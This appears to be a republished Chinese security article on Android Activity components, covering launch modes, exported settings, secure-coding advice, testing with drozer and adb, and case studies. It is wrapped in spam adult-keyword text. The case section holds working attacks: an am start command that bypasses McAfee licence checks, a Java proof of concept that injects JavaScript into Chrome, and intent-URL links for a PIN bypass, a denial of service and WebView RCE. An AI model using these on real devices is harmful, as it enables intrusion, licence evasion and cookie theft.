精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Android Activtity Security

移動開發
一個應用程序可以只有一個activity,或如剛才提到的短信應用程序那樣,包含很多個。每個activity的作用,以及其數目,自然取決于應用程序及其設計。一般情況下,總有一個應用程序被標記為用戶在應用程序啟動的時候第一個看到的。從一個activity轉向另一個的方式是靠當前的activity啟動下一個。

Android每一個Application都是由Activity、Service、content Provider和Broadcast Receiver等Android的基本組件所組成,其中Activity是實現應用程序的主體,它承擔了大量的顯示和交互工作,甚至可以理解為一個"界面"就是一個Activity。

Activity是為用戶操作而展示的可視化用戶界面。比如說,一個activity可以展示一個菜單項列表供用戶選擇,或者顯示一些包含說明的照片。一個短消息應用程序可以包括一個用于顯示做為發送對象的聯系人的列表的activity,一個給選定的聯系人寫短信的activity以及翻閱以前的短信和改變設置的activity。盡管它們一起組成了一個內聚的用戶界面,但其中每個activity都與其它的保持獨立。每個都是以Activity類為基類的子類實現。

一個應用程序可以只有一個activity,或如剛才提到的短信應用程序那樣,包含很多個。每個activity的作用,以及其數目,自然取決于應用程序及其設計。一般情況下,總有一個應用程序被標記為用戶在應用程序啟動的時候第一個看到的。從一個activity轉向另一個的方式是靠當前的activity啟動下一個。

 

0x01 知識要點

 

參考:http://developer.android.com/guide/components/activities.html

生命周期

啟動方式

顯示啟動

配置文件中注冊組件

 

  1. <activity android:name=".ExampleActivity" android:icon="@drawable/app_icon"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.MAIN" /> 
  4. <category android:name="android.intent.category.LAUNCHER" /> 
  5. </intent-filter> 
  6. </activity> 

直接使用intent對象指定application以及activity啟動

  1. Intent intent = new Intent(this, ExampleActivity.class); 
  2. startActivity(intent); 

未配置intent-filter的action屬性,activity只能使用顯示啟動。

私有Activity推薦使用顯示啟動。

隱式啟動

Intent intent = new Intent(Intent.ACTION_SEND);

 

intent.putExtra(Intent.EXTRA_EMAIL, recipientArray);

 

startActivity(intent);

 

加載模式launch mode

Activity有四種加載模式:

standard:默認行為。每次啟動一個activity,系統都會在目標task新建一個實例。

 

singleTop:如果目標activity的實例已經存在于目標task的棧頂,系統會直接使用該實例,并調用該activity的onNewIntent()(不會重新create)

 

singleTask:在一個新任務的棧頂創建activity的實例。如果實例已經存在,系統會直接使用該實例,并調用該activity的onNewIntent()(不會重新create)

 

singleInstance:和"singleTask"類似,但在目標activity的task中不會再運行其他的activity,在那個task中永遠只有一個activity。

 

設置的位置在AndroidManifest.xml文件中activity元素的android:launchMode 屬性:

 

  1. <activity android:name="ActB" android:launchMode="singleTask"></activity> 

Activity launch mode 用于控制創建task和Activity實例。默認“standard“模式。Standard模式一次啟動即會生成一個新的Activity實例并且不會創建新的task,被啟動的Activity和啟動的Activity在同一個棧中。當創建新的task時,intent中的內容有可能被惡意應用讀取所以建議若無特別需求使用默認的standard模式即不配置launch mode屬性。launchMode能被Intent 的flag覆蓋。

taskAffinity

android系統中task管理Activity。Task的命名取決于root Activity的affinity。

默認情況下,app中的每個Activity都使用app的包名作為affinity。而Task的分配取決于app,故默認情況下一個app中所有的Activity屬于同一task。要改變task的分配,可以在AndroidManifest.xml文件中設置affinity的值,但是這樣做會有不同task啟動Activity攜帶的intent中的信息被其他應用讀取的風險。

FLAG_ACTIVITY_NEW_TASK

intent flag中一個重要的flag

啟動Activity時通過setFlags()或者addFlags()方法設置intent的flags屬性能夠改變launch mode,FLAG_ACTIVITY_NEW_TASK標記代表創建新的task(被啟動的Activity既不在前臺也不在后臺)。FLAG_ACTIVITY_MULTIPLE_TASK標記能和FLAG_ACTIVITY_NEW_TASK同時設置。這種情況下必會創建的task,所以intent中不應攜帶敏感數據。

Task

stack:Activity承擔了大量的顯示和交互工作,從某種角度上將,我們看見的應用程序就是許多個Activity的組合。為了讓這許多 Activity協同工作而不至于產生混亂,Android平臺設計了一種堆棧機制用于管理Activity,其遵循先進后出的原則,系統總是顯示位于棧頂的Activity,位于棧頂的Activity也就是最后打開的Activity。

Task:是指將相關的Activity組合到一起,以Activity Stack的方式進行管理。從用戶體驗上講,一個“應用程序”就是一個Task,但是從根本上講,一個Task是可以有一個或多個Android Application組成的

如果用戶離開一個task很長時間,系統會清理棧頂以下的activity,這樣task被從新打開時,棧頂activity就被還原了。

Intent Selector

多個Activity具有相同action時,當此調用此action時會彈出一個選擇器供用戶選擇。

權限

android:exported

一個Activity組件能否被外部應用啟動取決于此屬性,設置為true時Activity可以被外部應用啟動,設置為false則不能,此時Activity只能被自身app啟動。(同user id或者root也能啟動)

沒有配置intent-filter的action屬性exported默認為false(沒有filter只能通過明確的類名來啟動activity故相當于只有程序本身能啟動),配置了intent-filter的action屬性exported默認為true。

exported屬性只是用于限制Activity是否暴露給其他app,通過配置文件中的權限申明也可以限制外部啟動activity。

android:protectionLevel

http://developer.android.com/intl/zh-cn/guide/topics/manifest/permission-element.html

normal:默認值。低風險權限,只要申請了就可以使用,安裝時不需要用戶確認。

dangerous:像WRITE_SETTING和SEND_SMS等權限是有風險的,因為這些權限能夠用來重新配置設備或者導致話費。使用此protectionLevel來標識用戶可能關注的一些權限。Android將會在安裝程序時,警示用戶關于這些權限的需求,具體的行為可能依據Android版本或者所安裝的移動設備而有所變化。

signature:這些權限僅授予那些和本程序應用了相同密鑰來簽名的程序。

signatureOrSystem:與signature類似,除了一點,系統中的程序也需要有資格來訪問。這樣允許定制Android系統應用也能獲得權限,這種保護等級有助于集成系統編譯過程。

  1. <!-- *** POINT 1 *** Define a permission with protectionLevel="signature" --> 
  2. <permission 
  3. android:name="org.jssec.android.permission.protectedapp.MY_PERMISSION" 
  4. android:protectionLevel="signature" /> 
  5. <application 
  6. android:icon="@drawable/ic_launcher" 
  7. android:label="@string/app_name" > 
  8. <!-- *** POINT 2 *** For a component, enforce the permission with its permission attribute --> 
  9. <activity 
  10. android:name=".ProtectedActivity" 
  11. android:exported="true" 
  12. android:label="@string/app_name" 
  13. android:permission="org.jssec.android.permission.protectedapp.MY_PERMISSION" > 
  14. <!-- *** POINT 3 *** If the component is an activity, you must define no intent-filter --> 
  15. </activity> 
  16.  
  17. 關鍵方法 
  18.  
  19. onCreate(Bundle savedInstanceState) 
  20. setResult(int resultCode, Intent data) 
  21. startActivity(Intent intent) 
  22. startActivityForResult(Intent intent, int requestCode) 
  23. onActivityResult(int requestCode, int resultCode, Intent data) 
  24. setResult (int resultCode, Intent data) 
  25. getStringExtra (String name) 
  26. addFlags(int flags) 
  27. setFlags(int flags) 
  28. setPackage(String packageName) 
  29. getAction() 
  30. setAction(String action) 
  31. getData() 
  32. setData(Uri data) 
  33. getExtras() 
  34. putExtra(String name, String value) 

0x02 Activity分類

Activity類型和使用方式決定了其風險和防御方式,故將Activity分類如下: Private、Public、Parter、In-house

private activity

私有Activity不應被其他應用啟動相對是安全的

創建activity時:

1、不指定taskAffinity //task管理activity。task的名字取決于根activity的affinity。默認設置中Activity使用包名做為affinity。task由app分配,所以一個應用的Activity在默認情況下屬于相同task。跨task啟動Activity的intent有可能被其他app讀取到。

2、不指定lunchMode //默認standard,建議使用默認。創建新task時有可能被其他應用讀取intent的內容。

3、設置exported屬性為false

4、謹慎處理從intent中接收的數據,不管是否內部發送的intent

5、敏感信息只能在應用內部操作

使用activity時:

6、開啟activity時不設置FLAG_ACTIVITY_NEW_TASK標簽 //FLAG_ACTIVITY_NEW_TASK標簽用于創建新task(被啟動的Activity并未在棧中)。

7、開啟應用內部activity使用顯示啟動的方式

8、當putExtra()包含敏感信息目的應是app內的activity

9、謹慎處理返回數據,即可數據來自相同應用

 

public activity

 

公開暴露的Activity組件,可以被任意應用啟動

創建activity:

1、設置exported屬性為true

2、謹慎處理接收的intent

3、有返回數據時不應包含敏感信息

使用activity:

4、不應發送敏感信息

5、當收到返回數據時謹慎處理

Parter、in-house部分參閱http://www.jssec.org/dl/android_securecoding_en.pdf

安全建議

app內使用的私有Activity不應配置intent-filter,如果配置了intent-filter需設置exported屬性為false。

 

使用默認taskAffinity

 

使用默認launchMode

 

啟動Activity時不設置intent的FLAG_ACTIVITY_NEW_TASK標簽

 

謹慎處理接收的intent以及其攜帶的信息

 

簽名驗證內部(in-house)app

 

當Activity返回數據時候需注意目標Activity是否有泄露信息的風險

 

目的Activity十分明確時使用顯示啟動

 

謹慎處理Activity返回的數據,目的Activity返回的數據有可能是惡意應用偽造的

 

驗證目標Activity是否惡意app,以免受到intent欺騙,可用hash簽名驗證

 

When Providing an Asset Secondhand, the Asset should be Protected with the Same Level of Protection

 

盡可能的不發送敏感信息,應考慮到啟動public Activity中intent的信息均有可能被惡意應用竊取的風險

 

0x04 測試方法

查看activity:

反編譯查看配置文件AndroidManifest.xml中activity組件(關注配置了intent-filter的及未設置export=“false”的)

 

直接用RE打開安裝后的app查看配置文件

 

Drozer掃描:run app.activity.info -a packagename

 

動態查看:logcat設置filter的tag為ActivityManager

 

啟動activity:

adb shell:am start -a action -n package/componet

 

drozer: run app.activity.start --action android.action.intent.VIEW ...

 

自己編寫app調用startActiviy()或startActivityForResult()

 

瀏覽器intent scheme遠程啟動:http://drops.wooyun.org/tips/2893

 

0x05 案例

案例1:繞過本地認證

WooYun: 華為網盤android客戶端本地密碼繞過(非root也可以)

繞過McAfee的key驗證,免費激活。

$ am start -a android.intent.action.MAIN -n com.wsandroid.suite/com.mcafee.main.MfeMain

案例2:本地拒絕服務

WooYun: 快玩瀏覽器android客戶端本地拒絕服務

WooYun: 雪球android客戶端本地拒絕服務漏洞

WooYun: Tencent Messenger(QQ) Dos vulnerability(critical)

WooYun: Tencent WeiBo multiple Dos vulnerabilities(critical)

WooYun: Android原生的Settings應用存在必現崩潰問題(可造成拒絕服務攻擊) (涉及fragment)

案例3:界面劫持

WooYun: android利用懸浮窗口實現界面劫持釣魚盜號

案例4:UXSS

漏洞存在于Chrome Android版本v18.0.1025123,class "com.google.android.apps.chrome.SimpleChromeActivity" 允許惡意應用注入js代碼到任意域. 部分 AndroidManifest.xml配置文件如下

  1. <activity android:name="com.google.android.apps.chrome.SimpleChromeActivity" android:launchMode="singleTask" android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
  2. <intent-filter> 
  3. <action android:name="android.intent.action.VIEW" /> 
  4. <category android:name="android.intent.category.DEFAULT" /> 
  5. </intent-filter> 
  6. </activity> 
  7.  
  8. Class "com.google.android.apps.chrome.SimpleChromeActivity" 配置 但是未設置 "android:exported" 為 "false". 惡意應用先調用該類并設置data為” http://google.com” 再次調用時設置data為惡意js例如'javascript:alert(document.cookie)', 惡意代碼將在http://google.com域中執行. "com.google.android.apps.chrome.SimpleChromeActivity" class 可以通過Android api或者am(activityManager)打開. POC如下 
  9.  
  10. public class TestActivity extends Activity { 
  11. @Override 
  12. public void onCreate(Bundle savedInstanceState) { 
  13. super.onCreate(savedInstanceState); 
  14. Intent i = new Intent(); 
  15. ComponentName comp = new ComponentName( 
  16. "com.android.chrome"
  17. "com.google.android.apps.chrome.SimpleChromeActivity"); 
  18. i.setComponent(comp); 
  19. i.setAction("android.intent.action.VIEW"); 
  20. Uri data = Uri.parse("http://google.com"); 
  21. i.setData(data); 
  22.  
  23. startActivity(i); 
  24.  
  25. try { 
  26. Thread.sleep(5000); 
  27. catch (Exception e) {} 
  28.  
  29. data = Uri.parse("javascript:alert(document.cookie)"); 
  30. i.setData(data); 
  31.  
  32. startActivity(i); 

案例5:隱式啟動intent包含敏感數據

暫缺可公開案例,攻擊模型如下圖。

案例6:Fragment注入(繞過PIN+拒絕服務)

Fragment這里只提一下,以后可能另寫一篇。

  1. <a href="intent:#Intent;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;launchFlags=0x00008000;SEL;action=android.settings.SETTINGS;end"
  2. 16、bypass Pin android 3.0-4.3 (selector) 
  3. </a><p> 
  4.  
  5. <a href="intent:#Intent;S.:android:show_fragment=XXXX;launchFlags=0x00008000;SEL;component=com.android.settings/com.android.settings.Settings;end"
  6. 17、fragment dos android 4.4 (selector) 
  7. </a><p> 

案例7:webview RCE

  1. <a href="intent:#Intent;component=com.gift.android/.activity.WebViewIndexActivity;S.url=http://drops.wooyun.org/webview.html;S.title=WebView;end"

 

 

 

 

責任編輯:chenqingxiang
相關推薦

2021-04-23 07:33:10

SpringSecurity單元

2021-08-29 18:36:57

項目

2012-11-30 10:29:47

2010-09-27 15:43:32

2023-10-10 22:24:16

2009-10-15 15:52:53

2022-08-30 08:50:07

Spring權限控制

2022-08-30 08:55:49

Spring權限控制

2022-08-15 08:42:46

權限控制Spring

2023-04-10 11:41:15

2022-08-30 08:36:13

Spring權限控制

2022-06-16 10:38:24

URL權限源代碼

2022-08-15 08:45:21

Spring權限控制

2009-05-18 09:19:55

CCIE安全考試面試

2009-08-28 09:45:07

最新思科認證CCNA Securi

2022-08-30 08:43:11

Spring權限控制

2012-09-13 14:46:44

2022-08-31 11:15:07

data securBig Data

2021-06-07 14:06:19

Spring SecuCSRF防御

2021-04-28 06:26:11

Spring Secu功能實現源碼分析
點贊
收藏

51CTO技術棧公眾號

在线中文字幕-区二区三区四区 | 亚洲综合免费观看高清完整版在线| 成人黄色网免费| 久久久久久久国产视频| 天天久久夜夜| 日韩一卡二卡三卡四卡| 国产在线观看福利| 97超碰在线公开在线看免费| 91在线一区二区| 91香蕉电影院| 成人免费视频国产免费| 欧美欧美全黄| 国产一区二区三区欧美| 午夜不卡久久精品无码免费| 欧美国产日韩电影| 午夜精品一区在线观看| 亚洲午夜精品国产| 欧美在线一卡| 国产成人精品在线看| 国产成人av网| 免费一级特黄特色大片| 性xxxx欧美老肥妇牲乱| 亚洲欧美一区二区三区情侣bbw| 91香蕉视频免费看| 视频精品导航| 91精品91久久久中77777| 97久久国产亚洲精品超碰热 | 久久精品电影网| 亚洲av成人无码久久精品| 美女一区2区| 日韩手机在线导航| 国产福利精品一区二区三区| 88xx成人免费观看视频库 | 波多野结衣之无限发射| 任你弄在线视频免费观看| 国产精品久久久久精k8 | 九一国产在线| 99视频国产精品| 国产成人看片| www.黄色片| 国产馆精品极品| 91九色视频导航| 中文字幕资源网| 日本欧美加勒比视频| 欧美诱惑福利视频| 一级片中文字幕| 亚洲三级色网| 97激碰免费视频| 国产一级二级三级| 欧美精品不卡| 久久久久久网站| 久久人人爽人人爽人人| 1024精品久久久久久久久| 按摩亚洲人久久| 一级黄色片日本| 在线成人直播| 欧美精品videos性欧美| 久久久久久久久久一区二区三区 | 91av资源网| 中文在线资源| 欧美在线视频日韩| 日韩av一卡二卡三卡| www.91精品| 日韩免费福利电影在线观看| 成人在线观看一区二区| 精品深夜福利视频| 亚洲视频电影图片偷拍一区| 永久免费毛片在线观看| 外国成人免费视频| 久久久中文字幕| 国产91国语对白在线| 日本成人中文字幕| 亚洲一区免费网站| 日本毛片在线观看| 91麻豆国产在线观看| 日韩免费av电影| 日本在线免费播放| 性欧美大战久久久久久久久| 久久网站免费视频| 色噜噜成人av在线| 欧美大片拔萝卜| 免费在线观看成年人视频| 欧美一区二区性| 日韩中文字幕第一页| 欧美激情国产精品免费| 亚洲综合另类| 91av免费看| 蜜桃成人在线视频| 亚洲欧美日韩一区| 欧美黄色免费影院| 宅男噜噜噜66国产精品免费| 亚洲а∨天堂久久精品喷水| 亚洲а∨天堂久久精品2021| 亚洲精品一二三区区别| 9.1国产丝袜在线观看| 中文字幕a级片| caoporen国产精品视频| 一区二区冒白浆视频| 黄色aa久久| 欧美一区二区三区色| 亚洲专区区免费| 欧美日本二区| 国产精品专区第二| 日韩资源在线| 一区二区三区日韩欧美| 国产裸体免费无遮挡| 亚洲一二av| 日韩在线观看免费av| wwwwww国产| 国产成人精品午夜视频免费| 性欧美精品一区二区三区在线播放| 日本资源在线| 91麻豆精品国产91| 欧美激情亚洲色图| 国产精品免费看| 亚洲xxx视频| 日本最新在线视频| 在线观看av一区二区| 亚洲av无码一区二区三区网址| 第四色成人网| 日韩av电影在线播放| 黄色一级a毛片| 亚洲女子a中天字幕| 国产性生交xxxxx免费| 小说区图片区色综合区| 97视频免费在线看| 不卡视频免费在线观看| 综合欧美亚洲日本| 午夜宅男在线视频| 成人羞羞视频在线看网址| 欧美亚州一区二区三区| 色窝窝无码一区二区三区成人网站| 综合久久综合久久| 久久综合在线观看| 亚欧美无遮挡hd高清在线视频| 国产精品v片在线观看不卡| 青青青草原在线| 高跟丝袜欧美一区| 超碰97在线资源站| 亚洲精品女人| 精品久久久久久综合日本| heyzo高清国产精品| 亚洲成人激情视频| 国产无遮挡又黄又爽| 国产xxx精品视频大全| 久操手机在线视频| ccyy激情综合| 668精品在线视频| 午夜影院在线视频| 欧美日韩一区二区在线播放| 草草地址线路①屁屁影院成人| 亚洲国产1区| 国产精品免费区二区三区观看| 欧美男男video| 亚洲福利在线视频| 久久青青草视频| 国产色91在线| 天堂av8在线| 最新国产精品久久久| 高清不卡日本v二区在线| 日本大片在线播放| 精品亚洲国产成av人片传媒| 精品国产乱子伦| 国产精品久久久久久亚洲伦| 午夜激情影院在线观看| 国产一在线精品一区在线观看| 国产一区二区无遮挡| 亚洲黄色免费看| 最近更新的2019中文字幕| 国产精品热久久| 亚洲一区二区三区四区不卡| 天天插天天射天天干| 日韩在线观看一区二区| 亚洲v国产v在线观看| 久久的色偷偷| 26uuu亚洲国产精品| 成年人在线观看视频| 欧美一区在线视频| 久久精品久久国产| 久久久久久久综合| 九色91porny| 国产亚洲精品bv在线观看| 亚洲精品一区二区三区av| 日韩有吗在线观看| 日本伊人精品一区二区三区介绍| 8888四色奇米在线观看| 精品国产免费一区二区三区四区| 日韩一区二区视频在线| 中文字幕在线一区二区三区| 欧美激情一区二区三区p站| 男女精品网站| 热久久最新地址| 国产精品密蕾丝视频下载| 亚洲free性xxxx护士白浆| 欧美少妇网站| 久久视频在线看| 手机福利小视频在线播放| 在线播放91灌醉迷j高跟美女| 成人精品免费在线观看| 亚洲人精品午夜| 欧美多人猛交狂配| 国产高清久久久| 9l视频白拍9色9l视频| 亚洲茄子视频| 免费国产成人看片在线| 欧美老女人另类| 国产一区二区三区免费不卡| 国产精品白丝久久av网站| 日av在线播放中文不卡| 欧美xxxx性xxxxx高清| 久久精品国产91精品亚洲 | 久久综合色一综合色88| 能看毛片的网站| 美女网站在线免费欧美精品| 日韩欧美国产免费| 日韩午夜电影| 激情六月天婷婷| 无需播放器亚洲| 亚洲免费不卡| 国产调教一区二区三区| 久久精品国产第一区二区三区最新章节| 9999精品免费视频| 国产精品成人品| 成人线上视频| 91精品国产高清| 国产极品人妖在线观看| 另类色图亚洲色图| 黄色免费在线看| 久久精品成人一区二区三区| 91在线网址| 色婷婷久久一区二区| 风间由美一区| 亚洲人成在线播放| 黄视频在线播放| 国产亚洲综合久久| 国产福利在线| 国产一区二区日韩精品欧美精品| 日韩在线免费看| 精品无人国产偷自产在线| 亚州精品国产精品乱码不99按摩| 精品av综合导航| 天堂在线资源库| 日韩成人在线视频观看| 婷婷亚洲一区二区三区| 日韩精品999| 精品美女视频在线观看免费软件 | 美国十次了思思久久精品导航 | 一区二区av在线| av在线电影播放| 日韩视频免费在线观看| 成人影院www在线观看| 美女国内精品自产拍在线播放| www免费视频观看在线| 精品综合久久久久久97| 丁香高清在线观看完整电影视频| 午夜精品久久久久久久99黑人| av资源中文在线天堂| 欧美一区二三区| 国产成人精选| 亚洲曰本av电影| 国产精品毛片视频| 久久一区二区三区av| blacked蜜桃精品一区| 一区二区不卡在线| 国产精品theporn| 国产h视频在线播放| 肉丝袜脚交视频一区二区| 中文字幕av不卡在线| 国产精品原创巨作av| 日本黄色免费观看| 国产精品美女久久久久aⅴ国产馆| 国精产品视频一二二区| 亚洲综合在线五月| 久久久久久无码午夜精品直播| 欧美日韩黄色影视| 成人激情四射网| 亚洲人成网站免费播放| h视频在线免费观看| 97精品一区二区视频在线观看| 久久久一本精品| 2019国产精品视频| 亚洲婷婷丁香| 成人在线免费高清视频| 男人的天堂亚洲在线| 在线观看免费不卡av| zzijzzij亚洲日本少妇熟睡| 天天干天天操天天拍| 亚洲一区二区在线免费观看视频| 无码人妻丰满熟妇精品区| 91精品国产高清一区二区三区蜜臀 | 看黄网站在线观看| 6080yy精品一区二区三区| 亚洲男人在线| 久久久久久高清| 中文字幕免费精品| 老司机午夜av| av一区二区三区黑人| 国产天堂av在线| 91精品办公室少妇高潮对白| 免费激情视频网站| www.日韩免费| 国产精品高清乱码在线观看| 豆国产97在线| 99久久99久久精品国产片桃花| 国产一区二区视频播放| 久久99精品国产91久久来源| 中文字幕在线免费看线人| 亚洲老司机在线| 伊人网免费视频| 亚洲欧美制服丝袜| 丁香花在线高清完整版视频| 亚洲一区二区三区香蕉 | wwwwxxxxx欧美| 欧产日产国产v| 欧美伦理视频网站| 久香视频在线观看| 538国产精品一区二区在线| 亚洲精品午夜| 亚洲激情免费视频| 九色综合狠狠综合久久| 天天舔天天操天天干| 欧美丝袜一区二区三区| 日本免费网站在线观看| 另类天堂视频在线观看| 日韩免费在线电影| 色播亚洲婷婷| 青青草精品视频| av中文字幕免费观看| 欧美日韩午夜剧场| 午夜激情小视频| 26uuu另类亚洲欧美日本一| 黑色丝袜福利片av久久| 丁香六月激情婷婷| 成人一区在线观看| 精品视频久久久久| 精品成人佐山爱一区二区| 日本色护士高潮视频在线观看| 成人免费xxxxx在线观看| 国产国产精品| 黄色aaaaaa| 亚洲综合av网| 黑人操亚洲女人| 91精品国产高清| 自拍欧美一区| 久久久久国产一区| 中文字幕一区二区三区视频| 国产精品高潮呻吟av| 久久久国产91| 日韩在线亚洲| 国产精品久久..4399| a级精品国产片在线观看| www日韩精品| 亚洲深夜福利网站| 国产精品99| 国产人妻人伦精品| 成人免费看视频| 在线能看的av| 伊人伊人伊人久久| 国产一区二区视频在线看| 黄网站色视频免费观看| 波多野结衣一区二区三区| 国产微拍精品一区| 中文字幕欧美日韩va免费视频| 四虎成人精品一区二区免费网站| 蜜臀av.com| 99re热这里只有精品视频| 男人的天堂av网站| 久久成人精品电影| 欧美交a欧美精品喷水| 热久久精品国产| 1000部国产精品成人观看| 亚洲精品国产精| 国产成人精品最新| 亚洲国产精品成人| 西西大胆午夜视频| 欧美私人免费视频| 国产桃色电影在线播放| 欧美日韩一区综合| 国产毛片精品视频| 免费观看成人毛片| 不卡av电影在线观看| 美女福利一区| 国产精品自在自线| 欧美日韩国产一区二区| 日本中文字幕伦在线观看| 国产精品区一区| 免费观看日韩av| 国产无遮挡又黄又爽| 俺去亚洲欧洲欧美日韩| 开心激情综合| 五月天视频在线观看| 欧美日韩一区二区在线播放| 国产成人高清精品| 欧美精品一区在线| 国产成人在线观看| 中文字幕1区2区3区| 欧美在线一区二区视频| 你懂的网址国产 欧美| 色欲狠狠躁天天躁无码中文字幕| 日韩精品一区二区三区蜜臀|